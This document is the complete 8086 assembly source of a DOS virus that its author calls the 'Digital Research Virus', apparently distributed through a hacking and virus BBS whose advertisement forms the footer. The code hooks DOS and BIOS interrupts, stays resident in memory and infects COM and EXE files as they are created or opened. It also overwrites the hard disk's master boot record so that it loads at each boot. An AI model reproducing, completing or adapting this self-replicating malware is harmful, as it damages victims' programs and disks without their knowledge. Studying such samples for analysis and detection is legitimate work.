cseg segment public 'code'
	assume	cs:cseg,ds:cseg,es:cseg

;------------------------------------------------------------------------------
; This virus is an com, exe and partitiontable infector. It will become resident
; after the first reboot. The virus is stored above TOM but below 640k.
; When the virus is resident the virus will infect every com and exe-file that
; is created or opend for read and write. The virus doesn't use any stealth
; techniques. The virus doesn't do anything besides replicate. I don't have
; a good name for it, so I named it 'Digital Research Virus'.
;------------------------------------------------------------------------------

SectorCount	equ	(CodeEnd-$+1ffh) shr 9	; Codesize in sectors
MemoryCount	equ	(DataEnd-$+3ffh) shr 10 ; Memory needed in kb

;------------------------------------------------------------------------------
; The first part of a com-file is overwritten by the following code
;------------------------------------------------------------------------------

ComCS		equ	this word+4

ComEntry:
	mov	dx,cs
	add	dx,100h
	push	dx
	mov	dx,offset MainCOM
	push	dx
	retf
	dw	0DEADh

EntrySize	equ	($-ComEntry)
SavedCode	equ	this word		; orginal com-entry code

OldCSIP		equ	this dword		; orginal ip,cs,ss and sp
OldIP		dw	0
OldCS		dw	-10h
OldSS		dw	0
OldSP		dw	400h
		db	EntrySize-8 dup(0)

;------------------------------------------------------------------------------
; The first part of the bootsector is overwritten by the folowing code
;------------------------------------------------------------------------------

BootSector:
	cli					; disable interrupts
	xor	bx,bx				; set ds and ss:sp
	mov	ds,bx
	mov	ss,bx
	mov	sp,7c00h
	sti					; enable interrupts
	mov	ax,ds:[413h]			; get memorysize
	sub	ax,MemoryCount			; adjust memory size
	mov	ds:[413h],ax			; store new memorysize
	mov	cl,6				; calculate segment address
	shl	ax,cl
	mov	es,ax
	push	ax				; store segment and offset
	mov	ax,offset StartUp		; of startup on stack
	push	ax
	mov	ax,200h+SectorCount		; read the virus from disk
	mov	cx,2
	mov	dx,80h
	int	13h
	retf					; jump to startup procedure

BootSize	equ	($-BootSector)

;------------------------------------------------------------------------------
; startup procedure
;------------------------------------------------------------------------------

StartUp:
	cli					; disable interrupts
	mov	ax,offset Interrupt8		; save old interrupt 8 vector
	xchg	ax,ds:[20h]			; and store new vector
	mov	word ptr es:SavedInt8[0],ax
	mov	ax,cs
	xchg	ax,ds:[22h]
	mov	word ptr es:SavedInt8[2],ax
	mov	cs:Count,182
	sti					; enable interrupts
	push	ds				; es=ds
	pop	es
	mov	bx,7c00h
	push	es				; store segment and offset of
	push	bx				; bootsector on stack
	mov	ax,201h				; read bootsector from disk
	mov	cx,1
	mov	dx,80h
	int	13h
	push	cs				; ds=cs
	pop	ds
	mov	si,offset OrginalBoot		; restore first part of
	mov	di,7c00h			; bootsector
	mov	cx,BootSize
	rep	movsb
	push	es				; ds=es
	pop	ds
	retf					; jump to bootsector

;------------------------------------------------------------------------------
; This interrupt will do nothing until it's called for the 182nd time, at that
; moment 10 seconds have past, and the virus will adjust interrupt vector 13h
; and 21h
;------------------------------------------------------------------------------

Count	dw	182

Interrupt8:
	cmp	cs:Count,0			; do nothing if interrupts
	jz	Old8				; are adjusted
	dec	cs:Count			; countdown (10 seconds)
	jnz	Old8
	push	ax				; save registers
	push	ds
	xor	ax,ax				; ds=0 (Interrupt vectors)
	mov	ds,ax
	mov	ax,offset Interrupt21		; save old interrupt vector 21
	xchg	ax,ds:[84h]			; and store new vector
	mov	word ptr cs:SavedInt21[0],ax
	mov	ax,cs
	xchg	ax,ds:[86h]
	mov	word ptr cs:SavedInt21[2],ax
	mov	cs:Handle,0
	pop	ds				; restore registers
	pop	ax
Old8:	jmp	cs:SavedInt8

;------------------------------------------------------------------------------
; This interrupt is installed after 10 seconds, it will then infect every exe
; file that is created or opened to write. It also contains an installation
; check
;------------------------------------------------------------------------------

Interrupt21:
	cmp	ah,30h
	je	Version				; dos version
	cmp	ah,3ch
	je	Open				; create file
	cmp	ax,3d02h
	je	Open				; open for write
	cmp	ah,3eh
	je	Close				; close file
Old21:	jmp	cs:SavedInt21			; do orginal interrupt

Open:	cmp	cs:Handle,0			; other exe-file opnened ?
	jne	Old21				; yes, can't do anything
	call	CheckExe			; check for .exe extension
	jnc	ExeFile
	call	CheckCom
	jnc	ComFile
	jmp	Old21

ComFile:pushf					; execute orginal interrupt
	call	cs:SavedInt21
	jc	Fail				; error opening file
	mov	cs:Handle,ax			; store handle for infection
	mov	cs:Infect,offset InfectCOM	; store infect procedure
	retf	2

ExeFile:pushf					; execute orginal interrupt
	call	cs:SavedInt21
	jc	Fail				; error opening file
	mov	cs:Handle,ax			; store handle for infection
	mov	cs:Infect,offset InfectEXE	; store infect procedure
Fail:	retf	2

Close:	or	bx,bx				; handle 0 ?
	je	Old21				; do orginal interrupt
	cmp	bx,cs:Handle			; handle of exe-file ?
	jne	Old21				; no, do orginal interrupt
	call	cs:Infect			; infect file
	mov	cs:Handle,0
	jmp	Old21				; do orginal interrupt

Version:cmp	dx,0DEADh			; installation check
	jne	Old21				; no, do orginal interrupt
	mov	ax,dx				; ax=dx
	iret					; return to caller

Extension	db	'EXE','COM'

CheckEXE:
	push	bx
	push	es
	push	cs
	pop	es
	mov	bx,offset Extension[0]
	call	Check
	pop	es
	pop	bx
	ret

CheckCOM:
	push	bx
	push	es
	push	cs
	pop	es
	mov	bx,offset Extension[3]
	call	Check
	pop	es
	pop	bx
	ret

Check:	push	ax				; check if extension is .exe
	push	cx				; save registers
	push	si
	push	di
	mov	al,0				; al=0
	mov	cx,100h				; max length is 100h characters
	mov	di,dx				; di=begin of filename
Nxt:	jcxz	Other				; length > 100h characters,
						; must be an other file
	inc	di
	dec	cx
	cmp	byte ptr ds:[di-1],0		; end of filename ?
	je	Last
	cmp	byte ptr ds:[di-1],'.'		; point ?
	jne	Nxt				; no, next character
	mov	si,di				; si=di, si=last point
	mov	al,1				; al=1,  al=1 if point found
	jmp	Nxt				; next character
Last:	or	al,al				; point found ?
	je	Other				; no, it's not an exe-file
	mov	di,bx
	cld
	lodsw					; get 2 bytes after '.'
	and	ax,0dfdfh			; uppercase
	scasw					; compare
	jne	Other
	lodsb					; get 1 byte
	and	al,0dfh				; uppercase
	scasb					; compare
	jne	Other				; no, not an exe-file
	clc					; clear carry, exe-file
	jmp	Done				; return to caller
Other:	stc					; set carry, not an exe-file
Done:	pop	di				; restore registers
	pop	si
	pop	cx
	pop	ax
	ret					; return to caller

;------------------------------------------------------------------------------
; this procedure infects an exe-file that is opened and the handle is in bx
;------------------------------------------------------------------------------

InfectEXE:
	push	ax				; save registers
	push	bx
	push	cx
	push	dx
	push	ds
	push	es
	push	cs				; ds=es=cs
	pop	ds
	push	cs
	pop	es
	mov	ax,4200h			; goto top of file
	xor	cx,cx
	xor	dx,dx
	call	DOS
	mov	ah,3fh				; read exe-header
	mov	cx,1ch
	mov	dx,offset ExeHeader
	call	ReadWrite
	cmp	ChkSum,0DEADh
	call	ReturnEqual
	mov	ChkSum,0DEADh
	mov	ax,ExeIP			; save orginal ip,cs,ss and sp
	mov	OldIP,ax
	mov	ax,ExeCS
	mov	OldCS,ax
	mov	ax,ExeSS
	mov	OldSS,ax
	mov	ax,ExeSP
	mov	OldSP,ax
	mov	ax,PageCount			; calculate new cs and ss
	mov	dx,PartPage
	or	dx,dx
	jz	Zero1
	dec	ax
Zero1:	add	dx,0fh
	mov	cl,4
	shr	dx,cl
	inc	cl
	shl	ax,cl
	add	ax,dx
	mov	dx,ax
	sub	dx,HeaderSize	
	mov	ExeCS,dx			; store new cs,ip,ss and sp
	mov	ExeIP,offset MainEXE
	mov	ExeSS,dx
	mov	ExeSP,offset CodeSize+800h
	mov	dx,10h				; calculate offset in file
	mul	dx
	push	ax				; save offset
	push	dx
	add	ax,offset CodeSize		; calculate new image size
	adc	dx,0
	mov	cx,200h
	div	cx
	or	dx,dx
	je	Zero2
	inc	ax
Zero2:	mov	PageCount,ax
	mov	PartPage,dx
	cmp	MinMem,80h
	jae	MinOk
	mov	MinMem,80h
MinOk:	cmp	MaxMem,80h
	jae	MaxOk
	mov	MaxMem,80h
MaxOk:	pop	cx				; restore offset
	pop	dx
	mov	ax,4200h			; goto found offset
	call	DOS
	mov	ah,40h				; write virus
	mov	cx,offset CodeSize
	xor	dx,dx
	call	ReadWrite
	mov	ax,4200h			; goto top of file
	xor	cx,cx
	xor	dx,dx
	call	DOS
	mov	ah,40h				; write new exe-header
	mov	cx,1ch
	mov	dx,offset ExeHeader
	call	DOS
	jmp	Return
Error:	add	sp,2				; get return address of stack
Return:	pop	es				; restore registers
	pop	ds
	pop	dx
	pop	cx
	pop	bx
	pop	ax
	ret					; return to caller

;------------------------------------------------------------------------------
; jumps to error when z-flag is 1
;------------------------------------------------------------------------------

ReturnEqual:
	je	Error
	ret

;------------------------------------------------------------------------------
; this procedure executes the orginal interrupt 21h, if ax is not equal to cx
; an error occured. This procedure is called from InfectEXE and InfectCOM
;------------------------------------------------------------------------------

ReadWrite:
	pushf
	cli
	call	cs:SavedInt21
	jc	Error
	cmp	ax,cx
	jne	Error
	ret

;------------------------------------------------------------------------------
; this procedure executes the orginal interrupt 21h, and is called from
; InfectEXE and InfectCOM
;------------------------------------------------------------------------------

DOS:	pushf					; call orginal interrupt 21h
	cli
	call	cs:SavedInt21
	jc	Error				; error? yes, jump to error
	ret					; return to caller

;------------------------------------------------------------------------------
; this procedure infects an exe-file that is opened and the handle is in bx
;------------------------------------------------------------------------------

InfectCOM:
	push	ax				; save registers
	push	bx
	push	cx
	push	dx
	push	ds
	push	es
	push	cs				; ds=es=cs
	pop	ds
	push	cs
	pop	es
	mov	ax,4200h			; goto top of file
	xor	cx,cx
	xor	dx,dx
	call	DOS
	mov	ah,3fh				; read first 3 bytes
	mov	cx,EntrySize
	mov	dx,offset SavedCode
	call	ReadWrite
	mov	si,offset SavedCode
	mov	di,offset ComEntry
	mov	cx,EntrySize
	rep	cmpsb
	je	Return
	mov	ax,4202h			; goto end of file
	xor	cx,cx
	xor	dx,dx
	call	DOS
	or	dx,dx
	ja	Error
	cmp	ax,0f000h
	ja	Error
	add	ax,0fh
	mov	cl,4				; prepare the com-entry
	shr	ax,cl
	add	ax,10h
	mov	ComCS,ax
	sub	ax,10h
	shl	ax,cl				; goto end of file
	mov	dx,ax
	mov	ax,4200h
	xor	cx,cx
	call	DOS
	mov	ah,40h				; write virus at the and of the
	mov	cx,offset CodeSize		; com-file
	xor	dx,dx
	call	ReadWrite
	mov	ax,4200h
	xor	cx,cx
	xor	dx,dx
	call	DOS
	mov	ah,40h
	mov	cx,EntrySize
	mov	dx,offset ComEntry
	call	DOS
	jmp	Return

;------------------------------------------------------------------------------
; This procedure infects the master bootsector of the first harddisk. There are
; no registers saved.
;------------------------------------------------------------------------------

InfectBoot:
	mov	ah,30h				; installation check
	mov	dx,0DEADh
	int	21h
	cmp	ax,dx
	je	Infected
	push	cs				; ds=es=cs
	pop	ds
	push	cs
	pop	es
	mov	ax,201h				; read bootsector
	mov	bx,offset OrginalBoot
	mov	cx,1
	mov	dx,80h
	int	13h
	jc	Infected
	mov	si,offset OrginalBoot		; compare bootsector with viral
	mov	di,offset BootSector		; bootsector
	mov	cx,BootSize
	repe	cmpsb
	je	Infected
	mov	ax,300h+SectorCount		; write virus to disk
	xor	bx,bx
	mov	cx,2
	mov	dx,80h
	int	13h
	jc	Infected
	mov	si,offset BootSector		; adjust bootsector
	mov	di,offset OrginalBoot
	mov	cx,BootSize
	rep	movsb
	mov	ax,301h				; write bootsector to disk
	mov	bx,offset OrginalBoot
	mov	cx,1
	mov	dx,80h
	int	13h
Infected:
	ret					; return to caller


;------------------------------------------------------------------------------
; this is the main procedure, when starting up from an com-file, it will
; check if the first harddisk is infected, if not it will infect it.
;------------------------------------------------------------------------------

MainCOM:push	ds
	mov	dx,100h
	push	dx
	push	ax
	push	ds
	push	es
	push	cs
	pop	ds
	mov	si,offset SavedCode
	mov	di,dx
	mov	cx,EntrySize
	rep	movsb
	call	InfectBoot
	pop	es
	pop	ds
	pop	ax
	retf

;------------------------------------------------------------------------------
; this is the main procedure, when starting up from an exe-file, it will
; check if the first harddisk is infected, if not it will infect it.
;------------------------------------------------------------------------------


MainEXE:push	ax				; save registers
	push	ds
	push	es
	mov	ax,ds				; adjust cs and ss
	add	ax,10h
	add	cs:OldCS,ax
	add	cs:OldSS,ax
	call	InfectBoot			; infect the bootsector
	pop	es				; restore registers
	pop	ds
	pop	ax
	mov	ss,cs:OldSS			; set ss:sp
	mov	sp,cs:OldSP
	jmp	cs:OldCSIP			; jump to orginal code

CodeSize	equ	$

;------------------------------------------------------------------------------
; the first part of the orginal bootsector is stored here
;------------------------------------------------------------------------------

OrginalBoot	db	BootSize dup(0)
CodeEnd		equ	$

;------------------------------------------------------------------------------
; the variables used by the virus when its resident are stored here
;------------------------------------------------------------------------------

SavedInt8	dd	0			; orginal interrupt 8
SavedInt21	dd	0			; orginal interrupt 21
Handle		dw	0			; handle of first exe-file
						; opened
Infect		dw	0			; offset infect procedure

Buffer		equ	this byte
ExeHeader	dw	0dh dup(0)		; exe-header is stored here

Signature	equ	ExeHeader[0]		; exe-signature 'MZ'
PartPage	equ	ExeHeader[2]		; size of partitial page
PageCount	equ	ExeHeader[4]		; number of pages (200h bytes)
HeaderSize	equ	ExeHeader[8]		; size of the exe-header
MinMem		equ	ExeHeader[0ah]		; minimum memory needed
MaxMem		equ	ExeHeader[0ch]		; maximum memory needed
ExeSS		equ	ExeHeader[0eh]		; SS
ExeSP		equ	ExeHeader[10h]		; SP
ChkSum		equ	ExeHeader[12h]		; checksum, DEAD if infected
ExeIP		equ	ExeHeader[14h]		; IP
ExeCS		equ	ExeHeader[16h]		; CS

DataEnd		equ	$

cseg ends

sseg segment stack 'stack'
	db	400h dup(?)
sseg ends

end MainEXE

;  ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
;  ДДДДДДДДДДДДДДДДДДДД> and Remember Don't Forget to Call <ДДДДДДДДДДДДДДДД
;  ДДДДДДДДДДДД> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ДДДДДДДДДД
;  ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
